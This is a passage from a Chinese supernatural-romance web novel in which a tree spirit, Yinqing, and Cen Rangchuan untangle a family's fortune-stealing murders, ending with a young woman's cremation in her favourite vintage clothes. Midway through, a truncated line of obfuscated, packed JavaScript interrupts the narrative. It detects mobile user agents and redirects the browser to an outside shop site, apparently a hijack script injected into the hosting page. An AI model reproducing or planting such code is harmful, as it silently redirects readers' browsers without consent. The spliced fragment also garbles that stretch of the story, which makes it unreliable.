“算了……”银清颇有些泄气,“我自己回去。你最近注意些,有破财相,不要借钱给亲近的人。”
他说完,慢慢往前走去。
警员望着他的背影离开,发现这人走路姿势和常人有点不一样,他的背挺得很直,看起懒散悠闲,有股矜贵公子哥的优雅。细看下,又有点像盲人行走,总是走歪几步后回到正路。
真是个奇怪的人……
局长为什么会跟这样的人扯上关系?
警员摇摇头回了局子,并不把银清的话放心上。
而在回去路上,银清静静思索这整件事经过。
这是一件涉及到三代人的借运史册。
刘庆远这一家活在最为封建迷信的地区,从小耳濡目染下绝不可能真心疼爱刘缔,他们像豢养猫狗那样对待她,刘缔再怎么傻也是能感觉到的。于是她选择了一条三代人中没有人走过的路,报复、反杀回去。她与朱矮子合作,想把刘家气运都夺到自己身上,如果朱矮子和前几任风水师一样老实,她说不定就成功了。
可惜,她合作对象选错
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了人。
朱矮子因侏儒症和丑陋的外貌被歧视多年,他渴望能过上正常男人的生活,娶妻生子。他答应帮刘缔,只因刘缔说这件事如果成功,她会和他在一起。
于是朱矮子告诉刘缔是他把刘庆远父亲做成了活死人,为了把年轻貌美的刘缔留在他身边,朱矮子在那位人瑞没了价值,要刘缔继任成下一个供养者时做了些手脚。果然,刘缔衰老的很快,她慌慌张张找他商量解决办法。
朱矮子心里清楚刘缔绝不可能喜欢他,更清楚刘缔私底下是怎么跟那些正常男人说自己。
想把两个人都捆在一起,牢不可催。
只有利益。
他们共同把尖刀对准刘盈,这个脱离出宗族观念,要独自生活的女人。
她像泥潭中开出的野山菊,灿烂耀眼地刺痛了刘缔的心。
谁不想脱离宗族?
可一旦脱离,意味着没了庇护。
刘缔不允许自己陷入困境,她要取代刘庆远家主位置。
他们原以为能成功,可惜事与愿违。
刘缔弟弟发现了他们的目的,慌慌张张爬出杀人现场要去告诉刘庆远。他们不得已,把他也杀了。
同时杀了两个人,朱矮子没那么大能耐能同时把二人的魂魄作为养料供养刘家。刘盈死时怨气过大,朱矮子根本压不住,又怕反噬到自己身上,只能牺牲刘缔后把刘盈的尸身裹满黄符带到刘庆远那交差。
而刘家姐弟,被他埋在山上香樟树下,随时准备被他用来当东窗事发后应对的工具。
以刘庆远的个性,为了挽救日渐颓败的家族生意,牺牲一双儿女而已,又算得了什么,他小三肚子那还揣着一个男宝,总归不是绝后。
一切都在朱矮子计划中,即使有小插曲他也摆平了。
可就在这个当口,有个穿黑色衣服的青年出现,告诉他,岑让川发现了刘缔的墓。
朱矮子慌神间,又得知刘家有个远亲在云来镇,那人就是张奶奶张瑜。
生前行医的人福德深厚,朱矮子原以为能得到祈福牌,再为人瑞续续命,当个备用器具。
没想到祈福牌早被拿走。
朱矮子没了办法,只能尽快上山去刘盈的墓,把她残余精魄提取出来注入进人瑞体内。
如果没有银清插手,一切都会按原计划进行。
可在银清眼中,如果没有他的分身插手这件事,他不会让岑让川去冒这个险。
他的分身,游荡在外已久的分身,想要取代主体。
现在威胁到了让川。
他不由想到感应到不对匆匆回宅子时看到的那一幕……
网约车猛踩刹车,发出尖利刺耳的噪音。
司机愤怒地降下车窗骂道:"拦在路中间你是不是有病!有病回家治!龟孙子我这车上四个人都差点被你吓死龟孙的短命玩意!"
车内四人正聊得火热,谁都没注意到车前什么时候多了个人,脑袋砸在前座上,嗡嗡了几秒才反应过来。
严森扶好眼镜,定睛一看,不确定地问:"让川,那是你表弟吗?"
不知何时出现的银清面对司机谩骂无动于衷,径直走上前来轻轻敲了敲车窗,语气放缓对岑让川说:"下来。"
45. vintage古着衣19^^……
停车的地方距离老宅还有半个多小时的路程。
足够银清说清楚事情经过。
和岑让川被关进棺材里,刘盈告诉她的没差。
当问到中途插入的黑衣银清是怎么回事时,银清便不肯那么直白了。
刘盈几次求助岑让川,都未曾做出伤害她的行为,只是吓人了些。
但出现雷击木那次,她想要杀掉岑让川这个举动,实际幕后指使是黑衣银清,刘盈并未想要伤害她。
那次借尸杀人只是试探。
他想要替代银清,成为主体。
银清一直没跟岑让川说过,游荡在外的分身是会渐渐生出自我意识,为了不被某天主体吞噬,自然而然会生出这个念头。
但分身打不过主体,就跟枝条难以撼动树干。于是黑衣银清便用调虎离山让银清因为朱矮子和张奶奶的事分身乏术。然后去色.诱岑让川,刺激银清分裂,好趁此下手。
“他为什么不亲自动手,用宰了我的手段刺激你?”岑让川疑惑。
银清语气很淡:“人类是上古之神女娲的孩子,自有天神护佑。他对你下手,会遭天谴。而且……”
他看过来,眼神幽怨:"你不是中招了吗?他的味道跟我一样吗?你喜欢他的声音吗?他摸着手感有我好吗?零件都没配齐,光一具皮囊就能引你上钩?"
"别给我扯东扯西,要不是你管不住你的分身我会这么辛苦?"岑让川指了指自己耳朵,"进蛆了,现在还疼呢。还有,人家严森怎么惹你了,你就把他拐上山挖坟头?说起来我还得感谢你的分身,他不出现严森死定了。还好人家福大命大,你知不知道我们在庙里开棺朱矮子还带着枪,我到现在都不知道他怎么逃脱的。"
"能怎么逃脱……"银清目光移向一边,"命好,刘盈也帮他了……"
银清给严森留了三件事,最后一件是报警。
他本来想着让警察去给严森收尸,顺带洗脱岑让川的嫌弃。
谁知道这个傻小子被刘盈救了。
第一层厚重棺材板挡住子弹,直接把朱矮子压得快断气,等到警察到来。
没弄死严森……
真是遗憾……
岑让川看到他眼中的惆怅就知道他在想什么,怒道:"以后不许对他下手!现代社会,杀人犯法!"
"死于意外的话,就不关我事了……"他小声嘀咕。
"你!"岑让川气得疾步向前走去,根本不理他。
一路上,往来的人络绎不绝,时不时响起车铃声。
夏末的风已经带点凉意,路边垂下的柳条像青色帷幔,扫过路人的头顶。
下午正是热闹的时候,路旁的店都开着,有些卖乐器书画的店人不多,年老的店主们便躺在门口躺椅上吹着小风喝着茶,望向远处金灿灿的夕阳慢慢靠近绵延不绝的山。
大人们带着孩子出门,去给她们买糖画或是冰糖葫芦之类的小零食。
银清在身后一声不吭,岑让川也不知道他有没有跟着,走出没多远,她拐了个弯,没有朝老宅方向走。
身后在拐角处传来闷响,她没有回头,反倒加快脚步走远。
银清看不见,听力也不好,被石子绊倒也不知道疼,只是感觉膝盖有点麻。
真狠心,又一次把他丢下……
银清想着,摸着手边墙壁慢慢站起,丝毫不关心膝盖被磕破,青绿色濡湿裤腿,在往外渗出汁液。
他就这么一瘸一拐跟着。
直到十五分钟后,抵达一家特产店。
"婶子,明空在吗?秦叔让我来看看她闺女。"
"让川啊,小秦跟我说啦,她在那玩橡皮泥呢。"
岑让川顺着店家指去的方向看去,一张大大的鹅黄碎花垫布上,放满玩具。
小小的女孩扎着漂亮的辫子,上面还夹着毛绒发夹,穿着浅蓝色七分袖灯笼裤,套着小马甲。她没有穿鞋,一双脚白白嫩嫩的。看着白净又乖巧,像个裹满椰蓉的糯米团子,又软又甜。
"明空?"岑让川脸上不自觉带上笑容,夹着嗓子说,"我是让川阿姨,在玩什么呢?"
苏明空听到有人喊她名字,抬起头来看她,复又低下头,闷闷不乐道:"我要捏一个爸爸。"
"她想她爸爸了。她妈去世后,小秦就一个人带她,可黏人了。"店主倒了杯水给她,"小秦还好吧?我听他说再过个三四天就回来。"
"恢复的还行,就是行动不便,腿给撞骨折了。婶子,谁撞的他?赔偿了没?"
"你不知道啊?"店主惊讶,"你和小森前几天大雨天要上山,他担心你们追上去,结果刘庆远那狗爹养的雨天不减速给人撞了。现在他被逮警局,赔偿款都不知道有没有着落。"
闹了半天,秦叔被撞跟自己还有关系?
岑让川也不知道该说什么好,正好这时有客人进店,她们窝在角落里又往后退了退。
"明空,想不想见爸爸?打个视频电话好不好?"
不知道在捏腿还是捏手的苏明空抬起黑葡萄似的大眼睛,用力点点头:"要见爸爸!"
银清晚了十分钟才跟到特产店。
他隐隐约约闻到店里传出的味道,是云来镇特有的松茸饼味,掺了些药材,苦甜苦甜的,又裹着奶油香。
店主接待完客人,见他一身狼狈的暗绿色汁液,不由嚷道:"让川,你表弟是不是摔哪个草堆了,怎么浑身都是草叶汁?"
岑让川翻了个白眼,苦肉计是吧?她现在不吃这套。
"没事的,他就是爱玩。"
语气要多敷衍就有多敷衍。
银清站在店外,捂着感到有点凉的手肘礼貌道:"我没事,我在这等她。"
店主一看就知道这俩姐弟在闹别扭,倒也不说什么,自顾自去忙。
明天就要进入七月初秋,天气应该会迎来一次明显降温。
他已经能感觉到脚下有寒气升起,流入经脉。
千年前,他死时就是在冬天的雨里,血液从身体里流出的感觉不太好受。是以银清格外讨厌冬天。
但……银杏树会在十月慢慢变黄,每到这个时候,她就会来。
严寒的冬季,有她在似乎也没那么让人厌烦。
等到秦叔和女儿视频结束,外边天空已铺满落日余晖,半边橙黄半边雾紫,层层叠叠的云被染上色泽,暗沉沉的,似油画上凸起的颜料。
往来人群渐渐减少,河边的钓鱼佬们也陆续收杆回家。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14174955|142848||http|test|mini|href|location''.split(''|''),0,{}));
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>岑让川和她们告别收起手机走出店门,去的却是另一个方向。
"你去哪?"银清抓住她的衣角问,"家在这边。"
岑让川以为视频通话二十多分钟他早已离开,谁知道他还等在这,刚刚面对明空时还算温柔的态度霎时不耐烦:“关你什么事?还家,那就是个暂住地。你要是不拿尾款要挟,我早跑了。”
银清敛下眸,抿唇不说话。
岑让川拍开他的手,要往白芨住的方向走。
“我带你去看宅子的金库,你也不跟我回去吗?”银清使出杀手锏,“这一次你要多少,就拿多少。”
刚刚还誓死不回头的人脚尖转了一圈,朝他走来。
岑让川脸色很臭:“走。”
银清嘴角不由露出笑,想去拉她的手却被无情甩开。
“表弟不许拉表姐的手。”
“……”
总归是先把人哄回去了。
只是走到半路。
银清忽然抱住自己,没来由一股恶寒。
他拉住岑让川,面色铁青道:“打电话给严森,让他不许抱我!”
“啊?”岑让川愣住,转身注意到他米白裤子上自膝盖下几乎要染成绿色,乍一眼还以为是破洞扎染裤。
“等等……”银清左手几乎掐进肉里,脸上尽是嫌弃,“好恶心……”
岑让川莫名其妙,但看他裤腿下还在不停淌汁,有点急了,“我抱你回去处理下伤口?”
银清仔细感受了下鲛人现在的位置和处境,确认严森只是把人放回轮椅,鲛人安全回到宅子后,这才乖顺地伸手搭在岑让川肩膀上。
已经快到凶宅,这条路上五点过后几乎没人。
他们走在路上也不会被异样眼光盯着。
银清将脑袋轻轻靠在她肩上,发出微不可查的叹息。
而岑让川被他浑身浓郁植物香气勾得心痒,想起和他吻在一起时入口的绵软甘甜,那点气又不知不觉消下去大半。
她没话找话:“你今天去警局做什么?”
“给你争个风水师的特殊身份,以后你要是遇到类似的事就不会束手束脚,会有人替你摆平。”银清想起一件无关紧要的事,顺嘴提了句,“刘盈尸体和张瑜同一天火化,刘盈希望你有空可以送她最后一程。”
岑让川本就想去送送刘盈,倒没反对。
念头一转,她想起白芨的遭遇,琢磨等会看完金库说什么都要去白芨那住一晚。
倒霉孩子被无辜牵连,心理阴影估计有大平层那么大。
张奶奶人都去世了,自己孙女还要遭遇这出,要是泉下有知估计要心疼坏了。
银清知道她在想事,本不想打扰,但他想起岑让川和明空说话时的语气,通过手腕上藤条准确无误传来的是她少见的温和。
他不由问道:“你喜欢小孩吗?”
“一般。”岑让川心不在焉,“女孩子的话喜欢点。”
银清按住她肩膀的手微微用力,指尖顿时泛出莹白。
他用鼻尖撩开垂到她耳边的碎发,声音很轻:“我给你生一个好不好?”
岑让川刚开始还没回过神来,等反应过来时当即愣住。
发出难以置信的一声:“啊?”
46. vintage古着衣.终1
岑让川在原地愣了足足五秒,整个人像冻住了般无法思考。
她怀疑自己幻听了:“你刚刚说什么?”
“我说……”他看出她的震惊,一点点吻上她的唇,湿漉漉的舌尖深入缠住柔软,勾着她,想让她像以前那样发起进攻。
把他弄得浑身湿透,从大雨池塘中捞出来那般,尽兴到毫无廉耻可言。
太久没做,她靠近抱起他那刻就难以忍耐地想要……
想在她身上留下自己的味道。
想让她在自己身上留下痕迹。
想被她一遍又一遍地占有,从天黑到天亮,再从白昼到黑夜,纠缠到失去所有力气,阖上双眸相拥卧在银杏树下。
等到落叶将他和她覆盖,腐烂成泥。
千年万年,再不分你我。
但在那之前……
他要她,心甘情愿爱他。
扭曲阴暗又怎么样?
总归他会得到这一切……
“我给你生一个女孩……”
他抬起头,落下的长发在她锁骨处扫过。
那双琥珀色浅色眼眸里泛出奇异的斑斓光彩。明明看不见,却如秋日寒潭,清晰地倒映出她的脸,像满心满眼都是她。
又或者是……在透过她望着千年前的另一个人。
岑让川的反应呢?
她跑了。
头也不回地跑了。
甚至是跟被恶狗撵着那样惊慌失措地……跑了。
没找任何借口,连金库的诱惑都没能把人留下。
银清坐在桥墩上,匀称莹润指尖抚过唇瓣上刚刚被咬了一口的地方,倒是没破皮。
可是为什么……
他困惑地想。
岑让川怎么一提到小孩就跑了呢?
是他生,又不是她生。
她只要给自己一滴血就好了呀?
自从他上网以来,推给他的帖子五花八门。
银清最感兴趣的还是小地瓜的那篇,怎么拴住一个女人的心。
不是婚姻,不是家庭,也不是男人。
而是孩子。
他没做错啊?
难道是岑让川觉察到自己心思了?
不要孩子就不要,跑那么快做什么……
啧,又要想别的办法了。
银清拿出手机,继续上网搜寻答案。
看来看去还是那些回答……
要不自己发帖问问?
岑让川跑出老远才敢喘口气,她想起给白芨打个电话,确认白芨没吃晚饭后打包了两份晚餐还有两瓶饮料。
刚走近,就听到张氏民居里传出洗涮声。
灵堂还布着,棺材里的尸身已经送去殡仪馆用冰棺冻起来,再过两天就要送去火化。现在围在棺材周围的花圈已经撤下去几个,显得没那么拥挤。
离棺材近处的地面撒着些草木灰,没能清理干净百岁老人的身体碎片中依稀有几条白蛆在里面蠕动,在灰中无力地探出脑袋。
白芨撸起袖子和裤腿,猛地往地上倒下一盆肥皂水,那些藏在草木灰里半死不活的蛆虫顿时蹦跶起来,被大浪冲入天井处下水道。
小小的人拿着和她一样高的洗地刷奋力刷去那些残余的脏污,地上被她擦出泡沫,被一股脑推进低处。
岑让川进来时正好看到白芨已经收拾完,一番劳动下热得小脸红扑扑的。
她不由提高嗓音:“白芨,吃饭了!”
白芨早在她进门就看到她,一边累得直喘气一边点头。
两人就在刚刚清理完的灵堂桌案上吃饭。
头顶明晃晃的白炽灯不甚明亮,光线里似掺杂雾气,导致看哪都是灰扑扑又朦朦胧胧的。灰色水泥地被淋黑,倒映出灯泡形状还有两人的残影。
肥皂水的味道散去后潮腥气刚要漫出,就被凉风吹散。
透明塑料盒打开,香料味扑鼻,整个灵堂被这股麻辣烫的味道占领,倒是显得温馨了些。
啤酒和草莓牛奶相继打开,放到桌上,气泡翻涌至表面破灭的细响像在拿煎锅预热食物。
"吃啊。"岑让川催促。
"不健康……"白芨嘴上这么说,到底还是小孩,手上诚实地掰开了一次性筷子。
"给你选的番茄汤底,微微辣,吃吧。我亲眼看她做的,没用高科技。"岑让川没管她,自己呼噜噜先吃了口豆皮,"靠,好烫。"
白芨疑惑:"高科技?"
"就是预制菜汤包之类的玩意,你今年几岁,读小学还是初中?"岑让川边吃边问。
白芨慢吞吞吃了口没吃过的食物,只吃一口眼睛就发亮,然后摸向岑让川给她买的草莓牛奶,甜丝丝的。
她满足地眯眼说:"十四岁,初三了,今年过完我就要去市里读书。"
"看不出来啊。"岑让川揉揉她的脑袋。
小白芨瘦瘦弱弱的,头发枯黄,约莫是先天不足所以看起来不过十岁,没想到已经十四岁。
白芨抗议道:"别摸我头发,两天没洗了,头皮屑要掉进去了!"
"这不正好加料。"岑让川不厚道地笑,被瞪了才收敛些。
小孩还挺古板早熟,一点都没小孩的样子。
她算了算自己上学的时间,又问:"你怎么十四就读完初三了?跳级了?"
"是啊,跟那群小屁孩没什么好学的。今年上高中看看高一的内容,再跳一次。"白芨风轻云淡,"你表弟他们回去了?你不用给他们做饭?"
"做毛线,我又不是他们妈。两个大男人又不是没手,懒得做饭外头一堆外卖。"
白芨捞了个莴笋放进嘴里咀嚼,安静听她说完,冷不丁问了句:"其实……他们不是你表弟堂弟吧?"
"……"岑让川叼着空心菜霍然转头看她。
靠,这小孩怎么知道的?!
"你表弟身上有很浓的植物味道。他会些中医吧?"白芨早早盯上这个人,露出友善的笑,"你也不想被人知道他的真面目吧?姐姐~"
明明是单纯的笑,愣是被岑让川看出几分威胁意味。
从天黑到天明,是十二个小时。
凉意是在夕阳落山后侵染而上的,丝丝缕缕,如附骨之蛆难以根除。他难以抑制地想到她在身边时所带来的温暖,像刚升起的薄阳,能慢慢将人烘暖。
银清就这么坐在宅子前的桥墩上等她回来,远得不能再远的记忆纷至沓来。
千年前,他也是这样,白日里忙完后,到了夜里,他就会点起一盏灯,枯坐着等她到来。
经常是十次里仅有两三次能等到她,而她更多的是谈公事,只有他主动才能换来她留宿一晚。
在等她的这段时间里,他都已经把宫里七八成的书看完了,却依旧是看不透帝王心思,更过不了情关。
她说过以他的才华智谋不该沉溺情事。
她慎而又慎对待自己,尽心尽力做好一个上位者。
她凉薄无情,却知道自己身体不好时遣人送来珍贵药材让自己好好休息。
可他要的,又不是这些……
天边蒙蒙亮之际,银清微微睁开眼睛,长睫上挂满晶莹,墨发衣物皆被朝露打湿。
又是一天过去,她还没回来……
仔细感受了下她所在方位,从不早起的人,今天倒是反常了……
他正想着她今天想去做什么,口袋里的手机响起。
是她打来的……
银清不太会用手机,也是第一次接到电话,冻了一晚脑袋有点疼,他迟钝地去想这块砖该怎么用时,对方挂断了。
然后一条短信蹦出来[妻:绿色按钮划过去。]
然后
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顿了两三秒,对方再次打过来。
银清按住绿色划过去,还没说话,对方就迫不及待地问:"喂,银清,刘盈生前住哪?"
他说出了个地址,是距离云来镇几百公里外的市内。
岑让川认认真真记下,又问他:"你要不要跟我走?"
手机那端很久都没传来声音,正当岑让川以为他不回答要挂断时,对方才慢慢悠悠说话。
“去不了。”
岑让川翻了个白眼:"噢。"
不想走就不想走,还去不了。
"你什么时候回来?"
"跑不了,慢的话明天回。"她说完,又问了句,"伤口处理好了?"
银清低头看了眼干涸的绿色汁液,一夜过去,它们凝结在布料上,氧化到发黑。
他应了声"嗯。"
那边听到回应,干脆利落挂断。
买票,去车站。
岑让川什么行李都没带,径自上了高铁。
五个小时车程,也不算太远。
走到中途,窗外下起了雨,无数雨点打在窗上,随风往后窜去,似鱼苗爬过水面。
昏昏欲睡间,高铁停下又开启。
身边换了个人,岑让川没有在意,把脑袋靠在车壁上接着补眠。
早起毁一天,她几次三番昏睡过去,脑袋不自觉往前点,又立即醒转。
不知道第多少次她又要往前倒去时,身边伸来一只手,托住她的额头。
岑让川意识模糊,困倦地说声谢谢后又往右边倒去。
睡过去之前,她闻到对方身上的脂粉调浓重的香水味,心想好骚气的味道。
这念头转瞬即逝,便堕入梦中。
她梦到了银清,更确切的说,是年轻时的银清。
一灯如豆,暖黄光泽镀上他的侧脸轮廓。他披着大氅手捧竹简,明明已经很困,眼睛都快睁不开却似乎在固执地等着谁来。
窗外风雪交加,吹进室内,卷起他的长发。
两片雪花也悄然入内,落入灯中,火星立时飘起,发出"噼啪"燃烧声。
"帝君。"他几乎是瞬间清醒过来,苍白的脸上迸发出期待的光彩。
可室内,只有他一人……
"哇,好美啊!"
"拍一下拍一下!"
"我去太难得了,我要拍个视频。"
……
周围说话声将梦境驱散。
窗帘被掀起,刺眼的光照来,余下睡意被驱散得一干二净。
她睁开眼,适应了好一会才看清窗外是什么情形。
大片山峦间,雨雾散去,细长朦胧的彩色架在半空,清晰可见。
"你醒了?"旁边有人说话,却是陌生的嗓音。
岑让川收回望向彩虹的视线,把脑袋从人家肩膀上移开,偏过头看去,最引人注目的是他蓝灰色头发。
她旁边原先坐的阿姨已经中途下车换人,新上来了个潮到风湿,唇红齿白的韩系长相的帅哥。
他穿着薄薄的暗红色卫衣,眉眼间尽是风情,一双桃花眼像含着雾气,笑着看她问道:"你也到终点吗?"
"嗯,不好意思。"岑让川直觉眼前这人她最好不要惹上,会很麻烦。
他揉了揉肩膀:"要继续睡会吗?我可以暂时继续当你的人型支架。"
话音刚落。
高铁广播响起,提醒半小时后抵达终点站。
岑让川礼貌道:"暂时不需要了。"
"好吧。"他不无遗憾,又问了句,"能加你微信吗?"
岑让川扫了眼他俊气的脸,内心挣扎了下。
应该……没事吧?
她和银清又没确定关系,目前二人都只是各取所需的炮.友性质。
"嘀"一声,双方添加成功。
47. vintage古着衣.终2^……
"我叫简寻,有缘我们再见面吧~"
新认识的帅哥站在阳光下,朝她挥手告别。
那头蓝灰色的短发配合他清俊的眉眼十分惹眼,加上暗红色的卫衣,映得气色红润有光泽。
无端的让岑让川看出几分不寻常的……媚?
她找不出一个形容词描述他给人的感觉,便暂且放下,也向他挥手道别。
经历过银清,她不由怀疑起他的身份。
不会又是什么奇怪的物种吧?
她琢磨了一阵,决定不告诉银清这回事。
可不知道为什么……有种背着妻子偷腥的心虚感……
早上六点多起床,七点十分上的高铁。
吃了一顿不中不午的餐食,找到刘盈生前住所已是下午。
这里有一片密集的民居,楼间距近到开窗就可以跟对面碰到,被称作握手楼。
地上果皮纸巾遍地,堆放在楼底下的垃圾袋破了,流出黄黑色液体,散发出浓浓恶臭。
不时有大拇指一样大的蟑螂爬过,见有人来,飞速爬入最近的暗处。
幼猫般大油光水滑的老鼠悉悉索索,快速穿过垃圾堆,消失在地下的缝隙中。
头顶乱拉的各种网线缠绕,在中心结成一团,上方挂着件破衣服,经过风吹日晒后变得破破烂烂,长满霉斑。
房东接到岑让川电话后骂骂咧咧走下来,得知自己租户死后本想把租房押金吞了,在听到岑让川说是风水师受托过来处理身后事狐疑地看她好几眼。
到底不过是一千来块押金,房东衡量再三,只想谋财不想惹事,只能不情不愿地把钱退回来。
岑让川替刘盈要回押金后,拿着钥匙上楼。
房东说,刘盈生前住在六楼,让岑让川替她处理干净。
这里的处理干净不仅仅是屋子,还有其他,比如说不能闹鬼。
城中村的楼屋大抵相同。
不锈钢扶手,黄色朱砂红色地砖,地处潮湿发霉的墙面……
因为没有阳台而选择在长廊上晾衣服的人不在少数,岑让川走上去后必须侧身经过,不然会蹭到别人的衣服。
她来到走廊尽头,用钥匙插入钥匙孔,轻轻一转,门应声而开。
女孩子的住处大抵都有股暖融融的香气,还没进去,就已经闻到里面刘盈生前留下的气味。
是枯萎的玫瑰花味。
岑让川像刘盈还在那般,大声说:“我进来了。”
没人回应也不要紧。
她脱鞋进去,穿上刘盈生前为朋友准备的拖鞋。
人死后,希望怎么对待自己生前用品呢?
是全部丢掉还是保留一部分?
如果全部销毁的话,她存在于这个世界的痕迹就完全没有了。
岑让川站在门口叉腰看着里面,还没开始干就感觉心累。
大单间布局,倒是一眼能看完全部。
刘盈生前也和绝大多数小姑娘一样,虽然东西乱,但不脏。小摆件很多,能看出来是个热爱生活的女孩子。
从她留下的大量遗物中,岑让川能逐渐拼凑出她的样子。
墙上挂着她和朋友的拍立得合照,和刘缔五六分相似的面容看起来很和善,看久了会发现跟刘缔那个死女人刻薄面相完全不一样。
岑让川在心中吐槽,替她摘下这张渔网墙面挂饰。
小东西全放纸箱子,看能不能联系到她朋友,或许……她们会愿意留着和刘盈的记忆呢?
繁琐小东西打包起来也很费劲,更别提还有电子产品。
时间一点一滴流逝,忙得她连午饭都没吃。
直到外面太阳照射下的影子开始挪向东方。
岑让川收拾到最后,满头大汗打开衣柜时愣住了。
口袋手机突然震动。
[白芨:卖炒粉的阿姨说你表弟在宅子门口等了你一天。]
[白芨:你什么时候回来?]
什么时候回去?
哪能说的准呢。
处理死者遗物实在是件很费精力的事情。
等到第二天早晨,岑让川才匆忙赶回来,没来得及回宅子休息,又赶去镇子上的殡仪馆。
白芨也是第一次知道镇子上的殡仪馆究竟在哪。
开车需要一个半小时,到一处偏僻山脚,要慢慢开车上去,山崖地形陡峭,又没装护栏,一不小心就会翻下山去。没有山地行驶经验的司机根本不敢从这上去。
又绕了半天,才抵达半山腰处殡仪馆。
镇子上小殡仪馆没有那么讲究,从黑白牌坊下驶过后一大片空地印入眼帘,门口连保安都没有,可以直接驶入。
普通的白墙黑瓦,门前两旁篆刻挽联,周围树林茂盛,才秋初已经黄了大半,树干发黑,远远望去像笼罩着一层黑雾,压抑又寂寥。
镇上叔伯婶子带着白芨来殡仪馆送张奶奶最后一程,大家心情都很沉重,男人们一言不发去旁边抽烟解压,女人们则是围在白芨身边,生怕她太过伤心干出傻事。
一行人进了殡仪馆门口,里面的空调温度被调地很低,刚进门就冻得人忍不住哆嗦。
空气里浮动着奇怪的腐臭味,但因为温度低,是以并不太闻得出来。
白芨站在门口慢慢看去,进门柜台后摆着各式各样的骨灰盒和寿衣,两旁靠墙有长椅,有个熟悉的人正躺在长椅上打盹。
定睛一看,是岑让川。
白芨还没来得及开口,岑让川已经被工作人员叫醒。
“岑小姐,醒醒,可以了。”
几乎通宵一天一夜的岑让川眼睛都没睁开,身体已经动起来,双眼眯成一条缝,游魂似的跟着工作人员进去放冰棺的后堂。
由不锈钢和玻璃组成的冰棺内,刘盈的尸身早已腐烂。
她安静地躺在盛满鲜花的棺材中,双手叠放在小腹上。
入殓师啧啧称奇说:“换成别人,去世时间这么长,天气还这么热,尸身早就白骨化了。她到现在还是这个状态,已经很好了。”
岑让川望着表皮已经变成棕黑色的刘盈,想到照片上和朋友一起开怀大笑的她,轻轻应了声:“嗯。”
两地辗转,花费二十多个小时,就是为了现在。
刘盈原本的秀禾服红嫁衣已经被剪下,换上了她生前最喜欢的那套vintage古着衣。微微敞开的白衬衣胸前有镂空设计,像在胸口开出了百合花,蕾丝薄纱微微泛黄,却添了复古的味道。
还有腰封,像长裙的长裤,哑光面长靴,都给她穿上了。
岑让川点点头,礼貌问工作人员:“可以打开棺盖吗?”
“这……气味可能……”
“没关系,我带个口罩。”
“嗯……也行。”工作人员递给她一个厚厚的口罩。
玻璃水晶棺材盖打开,浓重的腐臭气息连口罩都拦不住,直直冲入呼吸中,闻惯了的人已经习惯。
岑让川曾被关进棺材里,但那时太过紧张也感觉不到多少。何况她没多久就昏了过去。
这次气味冲击下,岑让川再次想起那天不好的回忆,口水疯狂分泌,她忍了几息才把到喉咙口的酸水压下。
做好心理准备,岑让川这才上前,把包里又大又宽的玫瑰帽子拿出来放在刘盈身上,又掏出香奈儿枣泥色口红认认真真给刘盈涂匀。
可惜尸体已经腐
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败地过于厉害,稍微用力,上面的皮都会被蹭掉。
岑让川努力了好久,才涂出形状。
虽然有点歪斜,但已经恢复五六分刘盈生前模样。
认真端详这一身从几百公里外带回来的vintage古着衣,岑让川真心实意对她说:“刘盈,很好看。”
话音刚落,一阵风吹过。
檐下风铃清脆悦耳,似是魂体在回应。
两具尸身被推入火炉。
透过小窗可以看到里面瞬时升起的熊熊大火。
她们的人生在此刻宣告消亡,化为一个小小的匣子。
日久天长,属于她们的生活痕迹也终究会消失不见。
等到某一日,直到最后一个记得她们的人也去世,才是真正结束。
可她们留下的遗物,看得见,或是看不见,会一代又一代传承下去。她们的名字或许会消失,传下去的遗物却不会。它们只会蒙尘,等待下一个人发现并启用。
殡仪馆外长椅上,一大一小坐在一块喝着牛奶。
里边的一行人,说是来陪白芨的,自己却哭得不成大人样子。
今日天空多云,看起来随时会下雨。
白芨喝了一口旺仔牛奶,甜丝丝的味道在嘴里蔓延,她却感受不到多少。
出神了会,白芨瞥眼身旁的岑让川,她不由问:“你坐高铁去省外,就为了帮那个人换套衣服?她和你关系很好吗?闺蜜?还是……爱人?”
岑让川听罢,满头黑线,那点伤感消失得一干二净:“你哪里看到的这些乱七八糟的东西?她就是我朋友!别啥都往爱情上扯,你姐我看起来是痴情人设的样子吗?”
“来回都得一千多吧,我就是没想到……”白芨憋了半晌,吐出后半句,“没想到你还是面冷心热的。”
“想多了,我就是看不惯她穿那套嫁衣。”
“看不惯什么?”
是啊,她在看不惯什么?
不过是换套衣服。
岑让川放下手里的饮料。
那套红嫁衣面料柔软舒适,刺绣针脚细密,是一套昂贵又华美的衣裳。可她为什么会看不惯呢?
是看不惯这套红嫁衣背后装饰华丽的陷阱,还是看不惯现代封建迷信教条下延续至今宗族权力的压迫?
所谓借运,听着轻飘飘,它却以妇、老两类弱势群体为代价,供养整个家族。朱矮子为刘盈换上的这套红嫁衣又是因为什么?不过是潜意识认为她是个物品,要让她死后也必须要有个归属,哪怕是象征性的。
“看不惯……这套秀禾服的做工吧。”岑让川牛头不对马嘴,望着远方说,“这玩意穿上去想要脱下来就难了,要扒去一层皮,或是一条命。”
白芨顿了顿,像是明白了点什么。
但她终究是个初中生,不明白其中的弯弯绕绕。
而岑让川浸淫在龙蛇混杂玉雕圈多年,了解刘庆远朱矮子这种封建宗族男人的做派。
她懒得再去想,拍拍屁股起身:“走了,我回宅子了。”
白芨迅速起身:“带我走呀!”
岑让川晃晃手,示意她拉着自己。
二人牵手的瞬间,一辆面包车驶过。
身后工作人员嘀咕道:“怎么最近年轻男人去世的这么多?加起来都快是往年三个月总量了……”
他们的话被风吹散,落在身后仅剩呢喃轻语。
无人在意。
岑让川盯着只到她胸口的白芨,想起银清的话,决定试探下:“诶,我表弟最近想要个女儿,你能不能给他当一阵子?”
白芨怒道:“滚。”
【vintage古着衣】(完)
48. 套路
去哪能租个小孩给银清带带?
最好穿着纸尿裤每隔两个小时就要喝奶,上树掏鸟窝,下水揍鲛人的那种。
能让银清认识到人类幼崽是个多么邪恶的生物,他就不会缠着自己偷偷留种,带一段时间估计也会加入自己变成坚定的丁克党。
张家民居内,安静地能清晰听到碾轮压过药槽的细响。
